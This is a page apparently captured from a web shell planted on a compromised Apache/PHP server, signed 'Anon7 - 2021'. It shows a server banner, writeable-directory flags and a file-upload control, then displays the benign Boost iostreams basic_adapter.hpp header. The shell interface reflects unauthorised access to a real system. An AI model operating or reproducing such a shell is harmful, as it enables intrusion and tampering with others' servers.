KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/include/boost/iostreams/detail/adapter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/boost/iostreams/detail/adapter/basic_adapter.hpp
// (C) Copyright Jonathan Turkanis 2005.
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt.)

// See http://www.boost.org/libs/iostreams for documentation.

#ifndef BOOST_IOSTREAMS_DETAIL_BASIC_ADAPTER_HPP_INCLUDED
#define BOOST_IOSTREAMS_DETAIL_BASIC_ADAPTER_HPP_INCLUDED

#include <boost/iostreams/categories.hpp>
#include <boost/iostreams/detail/call_traits.hpp>
#include <boost/iostreams/detail/ios.hpp>
#include <boost/iostreams/operations.hpp>
#include <boost/iostreams/traits.hpp>
#include <boost/static_assert.hpp>

namespace boost { namespace iostreams { namespace detail {

template<typename T>
class basic_adapter {
private:
    typedef typename detail::value_type<T>::type value_type;
    typedef typename detail::param_type<T>::type param_type;
public:
    explicit basic_adapter(param_type t) : t_(t) { }
    T& component() { return t_; }

    void close(BOOST_IOS::openmode which = BOOST_IOS::in | BOOST_IOS::out) 
    { 
        BOOST_STATIC_ASSERT(is_device<T>::value);
        iostreams::close(t_, which); 
    }

    template<typename Device>
    void close( Device& dev, 
                BOOST_IOS::openmode which = 
                    BOOST_IOS::in | BOOST_IOS::out ) 
    { 
        BOOST_STATIC_ASSERT(is_filter<T>::value);
        iostreams::close(t_, dev, which); 
    }

    bool flush() 
    { 
        BOOST_STATIC_ASSERT(is_device<T>::value);
        return iostreams::flush(t_); 
    }

    template<typename Device>
    void flush(Device& dev) 
    { 
        BOOST_STATIC_ASSERT(is_filter<T>::value);
        return iostreams::flush(t_, dev); 
    }

    template<typename Locale> // Avoid dependency on <locale>
    void imbue(const Locale& loc) { iostreams::imbue(t_, loc); }

    std::streamsize optimal_buffer_size() const 
    { return iostreams::optimal_buffer_size(t_); }
public:
    value_type t_;
};

//----------------------------------------------------------------------------//

} } } // End namespaces detail, iostreams, boost.

#endif // #ifndef BOOST_IOSTREAMS_DETAIL_BASIC_ADAPTER_HPP_INCLUDED

Anon7 - 2021